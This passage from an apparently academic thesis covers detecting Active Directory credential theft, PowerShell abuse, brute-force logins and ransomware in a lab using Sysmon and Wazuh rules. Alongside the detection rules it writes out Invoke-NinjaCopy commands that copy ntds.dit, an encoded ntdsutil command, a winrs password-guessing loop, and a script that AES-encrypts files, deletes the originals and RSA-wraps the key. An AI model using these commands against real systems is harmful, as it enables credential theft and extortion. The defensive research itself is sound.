Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination
↪→ "c:\temp\ntds.dit"
Or to copy the NTDS.DIT of the DC in this laboratory to a no-DC computer:
Import-Module C:\Users\Administrator\Downloads\PowerSploit-master\
↪→ Exfiltration\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination
↪→ "c:\temp\ntds.dit" -ComputerName "WIN-25U0PFAB511"
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This module allows any file, even if it is locked, to be copied without starting
suspicious services or injecting in to processes. This is because it can copy any
file from a NTFS volume, by opening a read handle to the entire volume, therefore
bypassing the following protections[50]:
• Files which are opened by a process and cannot be opened by other pro-
cesses, such as the NTDS.dit file or SYSTEM registry hives. This is known
as locking the file.
• Flags set on a file to alert when the file is opened. Windows can not set a
flag because NinjaCopy does not use a Win32 API to open the file.
The code to parse NTFS is loaded with a reflective DLL, making it harder to
detect because it does not use the Windows loader nor a DLL file.
The direct read of the device can be reported with the event 9 of Sysmon, but
event 1 can be useful to make sure in the remote case. This needs to be included
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<field name="win.eventdata.device">Device\\HarddiskVolume</field
↪→ >
<description>Maybe Remote NinjaCopy into the DC</description>
</rule>




<description>Remote NinjaCopy into the DC</description>
</rule>
Listing 5.12: Rules for detecting NinjaCopy
The local case only generates an event of type 9 and its only signatures are Pow-
erShell and Device\HarddiskVolume. It does not even record the name of the
file because the handle is for the volume. This can not really guarantee this
event comes from the execution of NinjaCopy, but until now has always worked
and never reported a false positive. This rule could be much more useful if the
NTDS.DIT file were in a different volume than usual.
The remote case is much easier to detect. In the tests it spawned at least 4 events
of each type in about 12 seconds, all from the DC. The bigger the NTDS.DIT
file and the slower the connection the more events are produced.
The remote command is executed by the wsmprovhost program, which stands for
Windows Remote PowerShell Session. The contents of the logs of the event type
1 are easy to distinguish from normal, due to the constant value of the comman-
dLine and parentCommandLine fields.
The second and third rules detect the events of type 1 and 9 for the remote ex-
ecution, and the last rule is a grouping rule of these two. This assures there are
no false positives, but the second rule matches the exploit so well that it could
be left out and probably would never cause false positives.
If the remote command is executed from DC and set to copy from the same com-
puter it still triggers the remote alert.
Grouping the DLLs loaded by the Import-Module command probed to be ef-
fective. As with Mimikatz, this loads the DLLs needed for NinjaCopy to work,
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<ImageLoaded condition="contains">xmllite.dll</ImageLoaded>
</ImageLoad>
These 8 DLLs are detected by 4 rules to reach the minimum frequency:





<description>Detected one of two suspicius DLLs</description>
</rule>




<description>Detected one of two suspicius DLLs</description>
</rule>




<description>Detected one of two suspicius DLLs</description>
</rule>




<description>Detected one of two suspicius DLLs</description>
</rule>




<description>Detected one of two suspicius DLLs</description>
</rule>






<description>Maybe NinjaCopy: DLLs with EventID 7</description>
</rule>
This detection works the same with both local and remote cases.
False positives were found when attempting to log in remotely multiple consecu-
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tive times, as described on the part about brute force reverse logins on page 118.
Others may appear in a real environment. This technique depends too much on
the time frame and can be avoided changing the code.
5.2.2 Detection of process accessing LSASS
The event 10 of Sysmon reports when a process access another process, possibly
detecting hacking tools that read the memory contents of processes[23]. This
event can be used to detect LSASS dumps[84].
The downside is it can generate significant amounts of logging, therefore it was
configured to log only the LSASS process and exclude the instances from the








<SourceImage condition="contains">C:\Program Files (x86)\ossec-
↪→ agent\ossec-agent.exe</SourceImage>
</ProcessAccess>
Listing 5.13: Sysmon monitoring with event 10 for LSASS reads
After some analysis of these events it was clear that normal accesses could be
identified by the grantedAccess field. Its value is a mask, that indicates the type
of privileges the process is accessed with.
They had a value of 0x3000 (even though these do not happen often) or 0x1000
if the process is svchost.exe. The detected malicious programs produced at least
one event with a different value on this field.




<description>Detected event 10 with \Windows\system32\lsass.exe<
↪→ /description>
</rule>
<rule id="300311" level="3" >
<if_sid>300310</if_sid>
<field name="win.eventdata.callTrace">UNKNOWN</field>
<description>Suspicius access of LSASS, probably from a
↪→ reverse_tcp shell</description>
</rule>
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<rule id="300312" level="0" >
<if_sid>300310</if_sid>
<field name="win.eventdata.grantedAccess">ˆ0x3000$</field>
<description>Normal access of LSASS</description>
</rule>





<description>Normal access of LSASS</description>
</rule>
<rule id="300314" level="3" >
<if_sid>300310</if_sid>
<field name="win.eventdata.grantedAccess">ˆ0x\w+</field>
<description>Suspicius access of LSASS</description>
</rule>
Listing 5.14: Rules to detect unusual values of grantedAccess
The first rule identifies events of type 10 for the LSASS process.
The second rule triggers if the string UNKNOWN is in the field callTrace. This
occurrence was found during testing of the exploits 1.4 and 1.5, that use a reverse
TCP shell to connect to their target. This rule causes false positives with the
Minidump command and it is possible that it would cause false positives on a
real network.
The third and fourth rules match the normal cases, excluding them from the
detection of the last rule.
The last rule uses a regular expression to match any hexadecimal value of grantedAc-
cess, therefore detecting any unusual value, because all normal logs have been
identified as normal at this point.
The results might change with the size of the database, the status of the sys-
tem and the version of the system and the programs. All the exploits used until
this point were tested, resulting in a 100% rate for those who dump the LSASS.
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Exploit unusual grantedAccess
1.1: Local Mimikatz in DC • 0x143a
1.2: Mimikatz from memory in DC • 0x143a
1.3: Mimikatz with DCSync
1.4: DCSync with Kiwi
1.5: Hashdump with Meterpreter • 0x1f3fff
2.1: Retrieval of NTDS.DIT with ntdsutil
2.2: Storing registry hives with Reg
2.3: Dump of LSASS with ProcDump • 3 events with 0x1fffff
2.4: Dump of LSASS with pd • 0x1f3fff
• 0x1452 followed by 0x1410,
this pair repeated 28 times
• 0x1452
2.5: Dump of LSASS with Minidump • 0x1f3fff
• 0x1fffff
2.6: Retrieval of NTDS.DIT with NinjaCopy
Table 5.3: Exploit detection of unusual grantedAccess values
Another way to detect unusual access to LSASS is with the event 8 of Sysmon[60],




As for Wazuh just a rule to detect the event of type 8 and the LSASS executable
is enough:




<description>Suspicius access of LSASS with thread</description>
</rule>
Only exploits 1.1, 1.2 and 1.5 were detected with this rule.
5.2.3 Mitigation
Some of the measures for the Golden Ticket attack can be used for this, partic-
ularly those about protecting LSASS.
There are multiple ways to protect the NTDS.DIT file[85][68]:
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• Install the system in multiple volumes with multiple file formats.
• Monitor or restrict the ntdsutil command.
• Backup and disk encryption.
• Restrict access to DCs and AD administrators.
• Remove the ability to start/stop the Volume Shadow Copy service from all
users on the system.
• Remove the ability to modify the security settings of the Volume Shadow
Copy service from all users except for SYSTEM.
5.2.4 Conclusion
We have seen more ways to acquire credentials and how to detect them with
Sysmon and Wazuh. The detection of the dump of LSASS was particularly
interesting because its relevance and scope.
Other detection techniques for these exploits could be implemented with network
tools and remote commands. More ways to detect the cases from the previous
section were shown. There are more tools and techniques to obtain authentication
data that were not studied or tested, but probably some of them can be found
using some of the detection methods in this section.
5.3 More about PowerShell
In previous examples we have shown how dangerous PowerShell scripts can be
for a system, in particular NinjaCopy is a good example of the complexity they
can reach.
There are enough PowerShell exploits and mitigation techniques that they could
have their own section in this project (for example PowerSploit, PowerShellEm-
pire and Nishang), but they were not contemplated at the start and there is no
time allocated for them now. In the last years PowerShell (as an attack platform)
has become much more used against organizations, because traditional defenses
are not able to mitigate or even stop PowerShell attacks in some cases.
This section is for diving a bit on how an attacker may use PowerShell and how to
detect and mitigate it. It was not planned, but not researching about PowerShell
capabilities after seen how dangerous it can be seems a bit careless. Therefore
about 8 hours were used for this section.
In some of the examples in this project PowerShell can be replaced by CMD.
We chose to leave CMD aside our preoccupations because cmd.exe is commonly
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blocked (unlike PowerShell) and is much less used than PowerShell in cybersecu-
rity attacks.
Other similar options for broad attacks, that we are not going to examine, are[86]:
• Custom executables.
• Sysinternal tools.
• Windows Scripting Host.
• VBScript, CScript, JavaScript and Batch files.
There are a number of reasons why attackers love PowerShell[86]:
• Run code in memory without touching disk.
• Download and execute code from another system.
• Interface with .Net and Windows APIs.
• Built-in remoting.
• Most organizations are not watching PowerShell activity.
• Many endpoint security products do not have visibility into PowerShell
activity.
Again in this project we can only take a peek at them, but knowing them at least
gives us an idea of real world scenarios.
5.3.1 Encoding commands
PowerShell provides a built-in option to execute commands from an encoded
string. This can be used to bypass signature matching. Of course the attacker
does not need to encode it in the same machine, that would be a risk for the key
string to be detected.
$command=’ntdsutil "activate instance ntds" ifm "create full C:\temp




Listing 5.15: Encoding and executing ntdsutil
5.3. MORE ABOUT POWERSHELL 113








Focusing logging and detection on the CommandLine field is more effective than
the Image field, because it usually provides key information that does not appear
in the latter. Usually we would not be monitoring this field for the signature ntd-
sutil.exe, because there are too many commands, but in this case we are making
an exception to show what it brings and that there is no real need for it.
Even though encoding ntdsutil makes it impossible for that string to be found
in the CommandLine field of the PowerShell process, the execution of ntdsutil
can be detected by other means. In this case the string ntdsutil appears in both
fields, when ntdsutil.exe is executed.
To put it simply the encoded PowerShell command spawns a ntdsutil process:
Image: “[· · · ]powershell.exe”,
CommandLine: “[· · · ]powershell.exe -encodedCommand [· · · ]”
Creation of the new process−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−→
Image: “[· · · ]ntdsutil.exe”,
CommandLine: “[· · · ]ntdsutil.exe”
ParentCommandLine: “[· · · ]powershell.exe”
The very same PowerShell command cannot be totally encoded, therefore it is
possible to detect the strings for these options. This applies too to other Pow-
erShell options, like for bypassing the execution policy, they either are detected
as encoded or by signature[86]. Another way to detect encoded commands is to





<description>Detected at least 200 characters in commandLine</












<description>Probably encodedCommand in commandline</description
↪→ >
</rule>
The first rule to match the event triggers the alert. In testing this was always the
100100 rule, but it was checked that the other two also work if this rule is not
present. The syntax of this rule is simplified for this document, but the original
can be found in the repository of this project[24].
The encoded command used in this case triggered the alerts for too long Comman-
dLine (100100) and the previous alerts to detect the use of ntdsutil in 5.2.1: Com-
mandLine with ntdsutil.exe (300011) and suspicious database events (300013,
300014 and 300015).
5.3.2 PowerShell version 5 security features
The version 5 of PowerShell has useful security features to mitigate complex
PowerShell attacks[86]:
• The PowerShell Constrained Language Mode with AppLocker: it provides
mitigation.
• The Anti-Malware Scan Interface: it provides mitigation.
• PowerShell logging features: it provides more data, making possible signa-
ture matching for some exploits.
• PowerShell commands to get status on detected threats by Windows De-
fender: it provides another way to query a data source.
AppLocker is a program used for whitelisting the use of programs in Windows.
AppLocker also has functionality to allow only enterprise signed scripts, reducing
the chance of malicious PowerShell scripts being run.
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The Constrained Language Mode limits the capability of PowerShell to base func-
tionality, removing advanced features like .Net and Windows API calls. In short
it allows day-to-day tasks and at the same time restricts the use of the most dan-
gerous attack tools, because they often rely on these features. For example the
previous Invoke-Mimikatz5.1.1 and Invoke-NinjaCopy5.2.1 methods stop working
because they rely on reflective DLL loading.
It can be activated in multiple ways and an attacker could deactivate it too, but
these changes can be monitored. This setting cannot be changed from a session
with the Constrained Mode activated even with administrator privileges.
The Anti-Malware Scan Interface enables all script code to be scanned prior
to execution by PowerShell and other Windows scripting engines, that are com-
patible with it. This requirement is only satisfied by a few programs nowadays.
There are multiple logging features for PowerShell:
• Logging by modules. It provides the option to log each module. For example
Microsoft.PowerShell.* for most of the core capabilities and ActiveDirectory
logs use related to AD functionality.
• The system-wide transcript option records the input and output of Power-
Shell as it appears in a terminal, for each PowerShell user per computer.
The files can be written to a write-only share or to the cache until it is back
online.
• Script block logging provides the ability to log de-obfuscated PowerShell
code to the event log. Many PowerShell attacks obfuscate their code to
avoid signature matching.
It is highly recommended to disable or remove the legacy version 2 of PowerShell
that is left in the system, because it has lots of vulnerabilities that are not going
to get patched and it can be used to bypass the previous restrictions.
5.3.3 PowerShell without powershell.exe
PowerShell is more than a single executable, it is a core component of Windows
(not removable) that exists in System.Management.Automation.dll. PowerShell
can host different runspaces, which are effectively PowerShell instances. A custom
PowerShell runspace can be instantiated via code, so PowerShell can be executed
through a custom coded executable (such as MyPowershell.exe).
Because PowerShell commands can be executed without the executable pow-
ershell.exe, it avoids signature matching and the locked powershell.exe mitiga-
tion[86].
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One of the frameworks that can be used for this is PS>Attack[87]. It includes
many offensive PowerShell tools that rely on this DLL to bypass possible locks.
The PowerShell tools are encrypted to avoid signature matching and are de-
crypted to memory at run-time[86].
The tool tested was Invoke-Mimikatz, which was previously used in order to test
the detection of Mimikatz in 5.1.1.
PS>Attack just needs to run the executable and call this module with the desired
options.
With the PowerShell script block logging this execution gets registered in plain
text (with slight format issues). This probes that bypassing powershell.exe locks
and command encryption can be detected with script block logging. The event
IDs generated by running the executable and the module are 4104, 4105 and
4106. The most useful seemed to be 4104 because it includes the rebuild code
from the blocks.
Next the Wazuh manager needs to be configured to forward the PowerShell log
to him from the agents C.55.
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Figure 5.9: Part of PSAttack events in the archives log
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5.3.4 Conclusion
PowerShell can be very dangerous for the security of Windows systems: it can do
almost anything and it has multiple ways to avoid being detected. These include
encoding, encryption, reflective DLL loading and bypassing locks on executables.
All of them have been shown in this project, along with mitigation and/or detec-
tion techniques.
In this section we have only scratched the surface of PowerShell auditing. It
would be interesting to have more time for this topic.
5.4 Detection of suspicious logins
In Windows there are multiple ways to login remotely, but all of them rely on the
same authentication method. Depending on its success or failure certain security
events are issued. Therefore it does not make sense to have multiple ways to
reproduce these attacks, as with the previous cases.
In all these cases the code is run on the no-DC, which authenticates against the
DC, using the built-in command winrs [88]. Here this command is used to specify
the remote computer to log in, the user, the password and the command to run
after a successful authentication, in that order.
Usually this would use a dictionary of common passwords to be mixed with other
characters, depending on the password requirements of the AD. To simplify its
emulation, the same passwords were tried all the time.
In this section the essential non-functional requirements RNF-03, RNF-04 and
RNF-05 are covered.
5.4.1 Reverse brute force login attempts
In this case the attacker tries to login guessing the password without changing
his IP address. He hopes that this goes on undetected because the logins are
against different accounts.
This can be reproduced with a very simple loop:
For ($i = 0; $i -le 3; $i+=1) {
winrs -r:WIN-25U0PFAB511.wazuh.local -u:Administrator -p:’Password
↪→ ?’ whoami
winrs -r:WIN-25U0PFAB511.wazuh.local -u:fserver -p:’Password?’
↪→ whoami
winrs -r:WIN-25U0PFAB511.wazuh.local -u:w10 -p:’Password?’ whoami
}
Fortunately Wazuh already has rules for this in 0580-win-security rules.xml [89].
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Failed logins are identified by the rule 60104, which is triggered by the security
event 4771[90]. Grouping is used by the rule 60205 to trigger another alert with
a higher level, if there are at least 8 in 240 seconds from the same IP address.
The value of the MS FREQ variable is set to 8 in this file.
<rule id="60205" level="10" frequency="$MS_FREQ" timeframe="240">
<if_matched_sid>60104</if_matched_sid>
<same_field>win.eventdata.ipAddress</same_field>




Listing 5.16: Rule 60205 of Wazuh
5.4.2 Distributed brute force login attempts
Instead of changing the user the attacker changes his IP address every few at-
tempts. In this case it is not so much a matter of not being detected, but of
not getting temporarily banned by IP address, which usually results in a drop of
received packages by the firewall of the network.
Usually the attacker would connect from outside of the network, because once
inside it would be hundreds of orders of magnitude faster to crack them from a
file with credentials. Instead of changing the IP address of the interface he would
change where his remote command comes from, usually using a Virtual Private
Network paid service, an anonymity network or previously compromised victims.
Both cases provide multiple servers across the world and it is trivial to write a
shell command to jump from one to the next.
The example script C.7 is mostly about automation to change the IP address
for the internal network, which has the interface connected to the wazuh.local
domain. Administrator privileges were required to change the IP address suc-
cessfully. The sleep was found to be an effective measure to avoid trying to log
in before the domain was reconnected.
The rule 60205 in Wazuh only works for failed attempts coming from the same
IP address, therefore it fails to detect this. A similar rule can solve this, just by
checking the same user is targeted and by changing the same field requirement
to not same field for the IP address:
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Listing 5.17: Rule 60205 of Wazuh
This frequency is fine for testing in a laboratory with an internal network, but
probably is way too low for a real environment. Wazuh can be used to ban the
IP for a time with its active response feature[91].
5.4.3 Login outside of usual hours
Allowed logon hours can be set with AD, resulting in failure even with correct
passwords when outside of the time range. Even so we can not always rely in it
and there are situations where it is interesting to monitor if there are attempts
to log in on unusual hours. For example an attacker would want to breach the
network when there is a lesser chance of being detected, for example when the
security staff is asleep. In this case we take interest in detecting these events for
users of a certain Organizational Unit, which are useful for AD management.
Doing this purely with OSSEC rules would need some hacks to change the code
of the rules and restart the manager, for every time the users in the OU change.
Because this changes are possible and because the security events do not report
if the user belongs to an OU, we can consider these rules to be like variables. A
workaround would be to name the users with a part of the name of the OU, like
OU1 user1, and then have rules matching any username starting with it.
Of course these are not acceptable and there is a better way. Running a re-
mote command with Wazuh we can search the security log for the events of
interest, check the hour and verify if they belong to a user of the OU. As with
the case of the klist detection (on page 92) a PowerShell script was created C.10
and a remote command was set C.9. The script returns JSON output with basic
information about the events that met the requirements. It needs to be run as
Administrator to be able to query the security log and it only needs to be in the
DCs, since OU logins are made always against them. The OU name and the hour
range are set in the script by hand, but could also be automated.
The first part of the script gets the usernames for the OU in question into an
array.
The second is a function that parses the event properties, checking if the condi-
tions are met: the hour of the event is not in the valid range (in this case [8, 17])
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and the username is in the previous array. Next the properties TargetUserName,
TimeGenerated, OrganizationalUnit and EventID are set in a JSON manner.
The full string is returned at the end of the function, each event in a line.
The last part is about collecting the security events of interest in the last minutes
and calling the function with them. In this case a 10 minute margin was set, be-
cause it takes about 5 seconds to query the log each time. The remote command
was set to run every 10 minutes to match it.
We take interest in the event ID 4771 for the failures and in the events 4768
(TGT request) and 4769 (TGS request) for the successes[90].
The rules C.8 in Wazuh are very simple, the first filters the events that match
the format and the second just triggers for everything with an username (since
the checks are done in the script).
5.4.4 Conclusion
These login events are very easy to perform, but also to detect. More sophis-
ticated methods can be used, but it is important to remember that brute force
logins are not efficient when compared to offline cracking. There is always a risk
of users having insecure passwords, which can be reduced by enforcing and teach-
ing good password policies.
Detecting logins in unusual hours can be hard just with OSSEC rules, but it can
be solved with a remote script.
Again the advantage of using an HIDS is we do not need to monitor every mean
of authentication, just 3 events are enough. Combined with the already exist-
ing rules and possibilities of remote scripts, Wazuh probes to be a useful tool
for management of login events. Other checks could be easily implemented, for
example logins from certain IP ranges can be monitored with regular expressions
for the IP field (win.eventdata.ipAddress).
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Chapter 6
Increment 3
This increment is titled Detection/action against ransomware. It includes an
introduction to ransomware, an study on simplified and real ransomware and
detection and measures against it. This chapter satisfies the next non-functional
requirements: RNF-06 and RNF-09.
In order to understand and detect the malware we try to put ourselves in the
attacker place, in some cases using scripts and tools that can be considered harm-
ful and illegal. This is only a way to accomplish the real objective that is the
detection. This behaviour is kept to a minimum, it is only done in the machines
of this laboratory and no kind of harm is intended outside of this project.
In this increment we assume the malware has already breached into the sys-
tem and our role is to detect and mitigate it, as soon as it begins to hold hostage
the system or data. It does not make sense for this project to study intrusion
strategies related to ransomware, because there are too many and there is no
guarantee they can be detected by an IDS.
6.1 The basics of ransomware
Ransomware is a term used to describe a class of malware that is used to digitally
extort victims into payment of a specific fee. It is not limited to any particular
geography or operating system, and it can take action on any number of de-
vices[92].
Once the ransom is paid the attacker should provide the instructions to restore
the affected resources. The best guarantee the ransom works is because attack-
ers are interested in keeping the pay rate as high as possible, but as an illegal
activity there is no way to ensure is going to free the system and that it will not
be affected again in the future (the attacker could install a backdoor).
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Any fully functional ransomware needs[93]:
• Some mean to hold a resource hostage.
• An anonymous system for exchanging data with the affected system.
• A ransom payment method that can not be traced back to the digital
extortionist.
There are two basic forms of ransomware, that are not mutually exclusive[92][93]:
• Locker: They restrict access or lock users out of the system. Usually the
affected system is not able to perform basic tasks, even for payment, which
results in a preference of payment voucher systems. It is easy to recover
from but also to implement.
• Cryto: They encrypt, obfuscate, or deny access to files. Depending on
the target it may search for specific directories or file extensions. In most
scenarios the ransomware does not affect the critical system files or func-
tionalities and does not deny access to the system. In general it is more
sophisticated and targets systems with more robust security than locker
ransomware.
Both can take extra steps, like exfiltrating data or taking down any antimalware
detected software. Infected systems are often used by attackers to spread the
malware, for example across the network. The cybercriminal wants the victim to
notice as soon as the attack is done, to get paid as fast as possible, and the most
common method is sending direct messages or changing the desktop background.
The next image shows a simplification of the steps of a ransomware attack. We
only care for the detection of the Destruction segment, but that does not mean
we can ignore the whole picture.
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Figure 6.1: Anatomy of a ransomware attack[92]
6.1.1 State of ransomware
Ransomware is important for this project because it has gained much relevance
in cybersecurity in the last years. We think understanding it better is the first
step to develop detection for it.
The main problems for studying ransomware is that it is illegal and sometimes it
is hard to gather information. For example most of the attacks are not reported
and ransomware attacks are often analyzed offline and using auditing tools like
decompilers because most of the time there is no source code[93].
The growth of ransomware
Next there are some estimations about the ransomware economy[94]:
• There are more than 6000 dark web marketplaces selling ransomware, with
45000 products listed.
• The ransomware marketplace on the dark web has grown in 2502% from
2016 to 2017. A major antimalware company states a 90% increase in
detection for business and a 93% for individuals, in the same year[95].
• Some sellers of ransomware are making more than 100 thousand USD per
year, just by retailing ransomware, when a legitimate software developer
makes 30% less.
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Often ransomware includes remote control software to allow the remote execu-
tion of commands. They often check if the server (certain IPs or domains) can
be reached before starting the process, waiting for a possible connection in the
future if not. Because these domain addresses are always resolving to new host
IPs, the criminal enterprises can regularly move around the Internet in relative
safety, as they will always know their malcode can speak to them. Keeping this
Command and Control (C&C) server functional and anonymous may be hard and
expensive depending on the approach used by the attacker. They have evolved
to use algorithms to generate a list of thousands of domains dynamically.
The flaw of this approach is that it can trigger behavioural alerts and reduces
the scope of the attacks. There is no need to initially contact the Command and
Control server, even for crypto ransomware because the public RSA key can be
downloaded with the malware. In some cases the attacker can command the mal-
ware to delete itself to avoid leaving evidence for security professionals[92][93].
The fundamental reason why this market exists is because the victims are willing
to pay. It is hard to know specifics because it is estimated that most of the times
these attacks are not reported (fewer are prosecuted and fewer are sentenced),
but the mean crypto ransom is 300 USD per computer[93].
Unlike many other forms of cyberattacks, ransomware can be quickly and brain-
lessly deployed with a high probability of profit nowadays. It has been a relevant
type of malware since its beginning 23 years ago, but in the last years its economy
has grown hugely, mainly because[93][94]:
• Bitcoin and Tor: for pseudo-anonymous activities.
• Proliferation of service providers: anyone can get into the ransomware busi-
ness because technical knowledge is not needed for every step of the process.
• Lack of fundamental security controls: such as backups, penetration testing,
patching, etc.
Bitcoin allows money to be transferred in a way that makes it nearly impossible
for law enforcement to follow the money trail. Anyone can set up a free and
unrestricted Bitcoin wallet address without needing any approval from financial
institutions, regulations, or dealing with providing evidence and proofs of iden-
tity, taxation, evidence of residence, and so on. Anybody can see the Bitcoin
transactions or the flow of the cryptocurrency from address to address in the
blockchain, making it possible to backtrack it to a real identity. Unfortunately
cybercriminals use to mix transactions to make them very hard to follow, this is
what Bitcoin mixing services are for.
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Tor is an anonymity network, that can be used to mask illicit activities and can
be used just by running a program.
Neither provides perfect anonymity, but both are very easy to use, which has
lowered the risk and barrier to entry for ransomware perpetrators. The require-
ment for ransoms to be paid over the Tor network has ensured there is no cen-
tralized endpoint to investigate with traditional geo-based law enforcement ap-
proaches[93].
Due to these innovations, the underground ransomware economy is now an in-
dustry that resembles commercial software. It can be divided into sections like:
development, support, distribution and even help desks. This market can be
divided into tiers[94]:
• Authors: They can be responsible for the creation of the malware (including
frameworks) and training and support on them. In the current state of the
market they can just remain as authors, without ever running the malware
in other computers. The cost is based on how customized the code is for a
particular target.
• RaaS: Ransomware-as-a-Service borrows from the Software-as-a-Service model.
RaaS is designed to make ransomware available to even novice criminals.
It provides technical and step-by-step information on how to launch the
ransomware attack with the purchased software. The most sophisticated
have a platform for checking the current status of the attack. In some cases
the ransom is split among the members of the supply chain.
• Distributors: A high profit/risk tier. They can distribute it themselves by
spam campaigns, social engineering, targeted hacks or exploit kits. They
can also leverage RaaS.
Splitting the work into different modules makes the ransomware market more
complex and competitive. It encourages role specialization (increasing quality
and reducing risk for authors), it makes it easier to enter (expanding the mar-
ket) and the modularity increases the quantity of different products (making the
malware change faster).
Of course making it easier to enter the market is a double edge sword, because it
makes it easier for police to investigate. Defenders have the inherent advantage
of interrupting the entire attack if they can break or interrupt any link of the
chain.
This market can be simplified into the next image:
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Figure 6.2: Ransomware supply chain and economy tiers[94]
As long as the victims keep paying the ransom this trend will continue and the
specialization will increase, resulting in more and bigger ransomware incidents.
The more ransomware is used the more secure the systems are against it, there-
fore in the future it is also safe to assume that it would be more economical for
criminals to use cryptominers or credential stealing instead[95].
It is also interesting to consider how ransomware and other attacks may take
place if the main attack fails. For example even if a ransomware attack fails it
should be possible to use a distributed denial of service attack at greater cost
and with lesser benefit. An increase of malware as a distraction is expected in
the future as the use and security of backups improves[94].
Ransomware targets
The more important the data the more money the victim is asked for. Generally
the bigger the business the better security it has and the more money cybercrim-
inals can extort.
But the value of data may change from person to person, therefore there is no
absolute best target for ransomware. In the last years there has been an increase
on the number of personal data sold in the dark web, which includes all kinds of
data. Cybercriminals can put pressure on the victim not only with direct ransom
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but also with the threat of selling the data.
In practice certain type of targets seems to rate higher on cybercriminals’ priority
lists[93]:
1. Healthcare: Apparently nothing sells as well on the black market as pri-
vate healthcare records. Medical records do not lose value over time and
they contain not only the person’s medical history, but offer a full set of
sensitive data that can be exploited in more ways than one (credit card
numbers, social security numbers, banking credentials, e-mail IDs and em-
ployment history). Cybercriminals use this currency to spread infections
by phishing attacks, data fraud, and theft of medical histories.
2. Manufacturing: Including businesses like automotive, electronics, tex-
tile and pharmacy. The nature of the chemical and automotive businesses
makes certain aspects horrifying, however, cybercriminals’ motivation is
predominantly financial, as they attack corporations not with the inten-
tion of mass murder, but to obtain valuable data and lucrative sensitive
information.
3. Financial services: The accessibility of payment methods and globally
spread banking services whose main purpose is customer convenience will
keep the financial industry high on the list. Attackers only need to imper-
sonate or trick the victim in order to gain access to an account.
4. Government agencies: They hold all types of personal and confidential
data. If a government agency stops working it can affect many people.
5. Transportation: Usually ransomware attacks set a time limit to pay the
ransom, but in transportation real life sets the time limit. A higher effort-
less pressure results in less advanced malware needs, meaning that trans-
portation businesses could be effectively extorted with locker ransomware
or denial of service attacks. As in previous cases there is also interest in
personal data and financial accounts.
6. Home users: Ransomware is one of the best effective malware against per-
sonal computing users, who are considerably not experienced in cybersecu-
rity. This has increased due to the rise of smartphones and IoT devices. In
most cases the users do not make backups, they are not made often enough
or they are stored in the same computer.
In the end the target is always the people and the cybercriminal can either create
a situation where it is cheaper to pay or to gamble on the feelings (fear, shame,
guilt, etc) of the victim.
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Figure 6.3: Credit cards for sale[93]
6.2 Common patterns in crypto ransomware
64% of ransomware detected in 2016 was crypto ransomware[93], but it was not
until 2013 that cybercriminals came back to it as their primary source of ran-
somware income[92]. There are many different crypto ransomware products, but
we take interest in those who encrypt the files because they are the ones that
make the most impact on them. If the encryption is done with strong algorithms
it should not be possible to decrypt them in a lifetime (without knowing the
decryption key).
This means suspicious activity regarding backups and files is common among
the different crypto ransomware variants. We assume the attacker prefers to
execute the attack as fast as possible because:
• Once the encryption process starts is probably going to be detected very
fast, either by an user or by an antimalware detector.
• The only advantage of waiting is keeping the noise down.
• If the encryption is only done on key files it should be very fast.
• The system can be scanned quite silently before starting the encryption.
The most efficient way to encrypt the files is to use a symmetric algorithm (like
AES-256), ensuring very strong and fast encryption even for big files. The sym-
metric key is the same for encryption and decryption, and in this type of attack
it holds the entire value of the ransom: once the ransom is paid the symmetric
key is send to the victim to decrypt the files.
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Obviously this key has to be kept secret by the attacker, therefore it is ciphered
with a public-key asymmetric algorithm (like RSA), allowing the attacker to
transfer it without any risk. Only the people with the private key should be able
to decipher the symmetric key, therefore only the attacker can decipher it. The
public key is either downloaded with the malware or after the installation.
A major disadvantage of symmetric key encryption is that, in some cases, the key
can be retrieved from RAM using special software. Fortunately the DRAM in
most systems is still live for anywhere from a few seconds to a few minutes after
power loss, allowing a shutdown to stop the attack and still being able to recover
from it. However these techniques are unlikely to work with functions that avoid
leaving trails in memory[92].
Most ransomware families use the built-in Windows Crypto API to handle the
encryption. While this is not a process that can necessarily be blocked, it is a
process on which a security team can be alerted. The problem is not detecting
its use, but rather not spawning false positives[92].
Because the attack is supposed to be fast, the detection (and response) needs
to be even faster to be able to stop it. That is why multiple detection ways were
explored for this case of study:
• For file encryption:
– Windows Defender’s Controlled Folder Access
– Sysmon events
– Windows File Auditing
– Syscheck Monitoring with Wazuh
• For backup deletion:
– Detection of certain commands
– Increase of the backup volume free storage space
6.2.1 File encryption example
This example shows how easily removal and encryption of files can be done with
the right tools.
In this scenario the attacker uses AES for the files and ciphers the key passphrase
with a RSA public key. Both algorithms are supported by many tools: OpenSSL,
custom DLLs and programming languages like PowerShell or Python. OpenSSL[27]
was chosen because it works the same on Windows and GNU/Linux and is easy
to use and install.
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The first step would be the generation of the pair of RSA keys. The private
key stays in the computer of the attacker and the public key is stored into the
victim’s. In this case the files are named keys.pem and public.pem respectively
and the length of the key is 1024 bits. The first file includes both private and
public keys. The second file is generated by the second command, which extracts
the public key out of the combined file keys.pem.
openssl genrsa -out keys.pem 1024
openssl rsa -in keys.pem -pubout -out public.pem
The next PowerShell script creates a random passphrase of letters, numbers and
some special characters, which is used later for the symmetric key by the AES
implementation of OpenSSL. This passphrase is ciphered with the public RSA
key and saved to the file passphrase.txt. Then script loops over all the files in
C:/temp/ with the .txt extension, encrypting them to AES-256 and deleting the
original file when done. The openssl variable is just for convenience.
$openssl=’C:\temp\openssl\bin\openssl.exe’
$DIR=’c:\temp’
$PASS=-join ((35..91) + (93..125) | Get-Random -Count 25 | % {[char]
↪→ $_}) #random ascii numbers to chars
echo "$PASS" | ."$openssl" rsautl -encrypt -inkey public.pem -pubin
↪→ -out passphrase.txt
Get-ChildItem "$DIR" -Filter *.txt |
Foreach-Object {
$file=$_.FullName
$output=."$openssl" enc -aes-256-cbc -in "$file" -out "$file.enc"





Listing 6.1: Script to encrypt files and cipher the passphrase with RSA
The passphrase file can be deciphered with the private key, getting the random
passphrase used in the script:
openssl rsautl -decrypt -in passphrase.txt -inkey keys.pem
Decrypting the files can be done using the same passphrase, because AES is a
symmetric algorithm. This example assumes the same value for the variables as
in the encryption process:
Get-ChildItem "$DIR" -Filter *.enc |
Foreach-Object {
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$file=$_.FullName
$dfile=$file.substring(0,$file.length-4) #removes ".enc"
."$openssl" enc -d -aes-256-cbc -in "$file" -out "$dfile" -pass
↪→ pass:"$PASS"
}
6.2.2 Detection of crypto ransomware
